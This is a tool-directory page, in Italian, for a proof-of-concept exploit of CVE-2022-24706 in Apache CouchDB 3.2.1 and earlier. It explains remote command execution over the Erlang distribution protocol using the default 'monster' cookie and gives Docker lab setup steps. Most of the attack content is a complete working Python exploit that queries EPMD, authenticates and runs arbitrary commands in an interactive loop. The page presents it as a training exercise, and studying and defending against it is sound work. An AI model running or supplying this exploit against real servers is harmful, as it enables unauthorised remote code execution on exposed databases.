Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-24706 — Exploit proof-of-concept per CVE-2022-24706 che colpisce Apache CouchDB 3.2.1 e versioni precedenti. Dimostra l'esecuzione remota di comandi tramite Erlang Distribution Protocol utilizzando l'autenticazione tramite cookie predefinita. | Kitploit
Strumenti/GitHubGitHub/junghyeonkum/cve-2022-24706
Analisi delle VulnerabilitàExploitPenetration TestingApprendimento e FormazioneStrumento di Accesso RemotoSicurezza dei Database
GitHubjunghyeonkum/cve-2022-24706

CVE-2022-24706

Exploit proof-of-concept per CVE-2022-24706 che colpisce Apache CouchDB 3.2.1 e versioni precedenti. Dimostra l'esecuzione remota di comandi tramite Erlang Distribution Protocol utilizzando l'autenticazione tramite cookie predefinita.

Vedi Repository
232 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-24706

Contributori

  • Scuola White Hat 4a generazione, classe 39 금정현(@junghyeonkum)

Vulnerabilità di esecuzione remota di comandi Erlang Distribution di CouchDB (CVE-2022-24706)

Riepilogo

Apache CouchDB è un database NoSQL open-source orientato ai documenti (Document-Oriented) implementato in Erlang.

Apache CouchDB, essendo sviluppato in Erlang, supporta nativamente il calcolo distribuito (clustering). I nodi del cluster comunicano tra loro utilizzando il protocollo di distribuzione Erlang/OTP, e attraverso questo protocollo è possibile eseguire comandi del sistema operativo (OS) con i permessi dell'utente che esegue CouchDB.

Per eseguire comandi del sistema operativo, è necessario conoscere la stringa di autenticazione (Secret Phrase) chiamata Cookie in Erlang. Nelle versioni di CouchDB 3.2.1 e precedenti, il valore predefinito del Cookie durante l'installazione è impostato su 'monster'. Un attaccante che conosce questo valore può superare l'autenticazione ed eseguire comandi del sistema operativo da remoto.

Riferimenti:

  • https://docs.couchdb.org/en/3.2.2-docs/cve/2022-24706.html
  • https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
  • https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/misc/erlang_cookie_rce.rb
  • https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit

Requisiti ambientali

Per eseguire questa esercitazione, è necessario il seguente ambiente.

  • Docker e Docker Compose devono essere installati.
  • Python 3 deve essere installato per eseguire il PoC.

Su macOS basato su Apple Silicon (M1/M2/M3), potrebbero apparire avvisi relativi alla piattaforma dell'immagine. Nella maggior parte dei casi, Docker Desktop emula automaticamente le immagini amd64, quindi non sono necessarie azioni aggiuntive. Se il container non dovesse avviarsi correttamente, è possibile aggiungere l'opzione platform: linux/amd64 al servizio couchdb nel file docker-compose.yml.

Se Python 3 non è installato, è possibile installarlo con il comando seguente.

sudo apt update
sudo apt install -y python3

Configurazione dell'ambiente

Eseguire il comando seguente per avviare l'ambiente Apache CouchDB 3.2.1.

docker compose up -d

Una volta avviato il servizio, sulla macchina target saranno aperti i seguenti 3 porte.

  • 5984: Interfaccia web Apache CouchDB
  • 4369: Erlang Port Mapper Daemon (EPMD)
  • 9100: Porta di comunicazione del cluster e gestione runtime (i comandi effettivi vengono eseguiti attraverso questa porta.)

In un ambiente reale, la porta dell'interfaccia web (5984) e la porta del servizio EPMD (4369) sono fisse, ma la porta di comunicazione del cluster può cambiare ad ogni esecuzione. Pertanto, è possibile accedere al servizio EPMD per scoprire il numero di porta di comunicazione del cluster attualmente in uso.

Se Apache CouchDB è in esecuzione correttamente, è possibile visualizzare le informazioni sulla versione su http://target-ip:5984.

Condizioni di vulnerabilità

Questa vulnerabilità si verifica se vengono soddisfatte le seguenti condizioni.

  • Deve essere in esecuzione Apache CouchDB versione 3.2.1 o precedente.
  • La funzionalità Erlang Distribution deve essere abilitata.
  • Il Cookie Erlang deve essere impostato al valore predefinito (monster).
  • Deve essere possibile accedere al servizio Erlang Distribution (EPMD).

Procedura di riproduzione

  1. Eseguire il comando seguente per avviare l'ambiente Apache CouchDB vulnerabile.
docker compose up -d
  1. Con il servizio EPMD (4369) in esecuzione, eseguire il comando seguente per eseguire il PoC.
python3 poc.py target-ip 4369
  1. Il PoC interroga il servizio EPMD per ottenere il numero di porta di comunicazione del cluster attuale, quindi utilizza il Cookie predefinito (monster) per autenticarsi al protocollo di distribuzione Erlang.

  2. Una volta completata l'autenticazione, è possibile inserire un comando del sistema operativo desiderato per verificare l'esecuzione remota del comando.

Codice PoC

#!/usr/local/bin/python3

# Python 기본 라이브러리
import socket
from hashlib import md5
import struct
import sys
import re
import time

# 대상 서버 및 기본 설정
TARGET = sys.argv[1]
EPMD_PORT = int(sys.argv[2]) # EPMD 기본 포트
COOKIE = "monster" # CouchDB 기본 Erlang Cookie 
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e" # Erlang 노드 목록 요청 패킷

# Erlang 인증 및 제어 메시지
NAME_MSG  = b"\x00\x15n\x00\x05\x00\x07\x49\x9cAAAAAA@AAAAAAA"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA  = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"

# 사용자가 입력한 명령을 Erlang RPC 패킷으로 변환
def compile_cmd(CMD):
    MSG  = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
    MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
    MSG += struct.pack(">H", len(CMD))
    MSG += bytes(CMD, 'ascii')
    MSG += b'jw\x04user'
    PAYLOAD = b'\x70' + CTRL_DATA + MSG
    PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
    return PAYLOAD

print("Remote Command Execution via Erlang Distribution Protocol.\n")

# EPMD 서버에 접속하여 Erlang 노드 정보 획득
try:
    epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
    print("Couldnt connect to EPMD: %s\n terminating program" % msg)
    sys.exit(1)
    
# Erlang 노드 목록 요청
epm_socket.send(EPM_NAME_CMD) 

# 정상 응답이면 노드 정보를 가져옴
if epm_socket.recv(4) == b'\x00\x00\x11\x11': 
    data = epm_socket.recv(1024)
    data = data[0:len(data) - 1].decode('ascii')
    data = data.split("\n")
    if len(data) == 1:
        choise = 1
        print("Found " + data[0])
    else:
        print("\nMore than one node found, choose which one to use:")
        line_number = 0
        for line in data:
            line_number += 1
            print(" %d) %s" %(line_number, line))
        choise = int(input("\n> "))
        
    ERLNAG_PORT = int(re.search(r"\d+$",data[choise - 1])[0])
else:
    print("Node list request error, exiting")
    sys.exit(1)
epm_socket.close()

# Erlang 노드에 접속
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
    print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
    sys.exit(1)
   
# Challenge 값 수신
s.send(NAME_MSG)
s.recv(5)
challenge = s.recv(1024)     
print(challenge)
challenge = struct.unpack(">I", challenge[9:13])[0]


# Challenge 값을 이용하여 인증 정보 생성
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
    + bytes(str(challenge), "ascii")).digest()

# 인증 요청
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)

# 인증 성공 여부 확인
if len(CHALLENGE_RESPONSE) == 0:
    print("Authentication failed, exiting")
    sys.exit(1)

print("Authentication successful")
print("Enter command:\n")

data_size = 0

# 사용자 명령을 입력받아 원격 CouchDB 노드에서 실행
while True:
    if data_size <= 0:
        CMD = input("> ")
        if not CMD:
            continue
        elif CMD == "exit":
            sys.exit(0)
        s.send(compile_cmd(CMD))
        data_size = struct.unpack(">I", s.recv(4))[0] 
        s.recv(45)              
        data_size -= 45         
        time.sleep(0.1)
    elif data_size < 1024:        
        data = s.recv(data_size)
        time.sleep(0.1)
        print(data[3:].decode())
        data_size = 0
    else:        
        data = s.recv(1024)
        time.sleep(0.1)
        print(data[4:].decode())
        data_size -= 1024

Risultati dell'esecuzione

Scarica lo strumento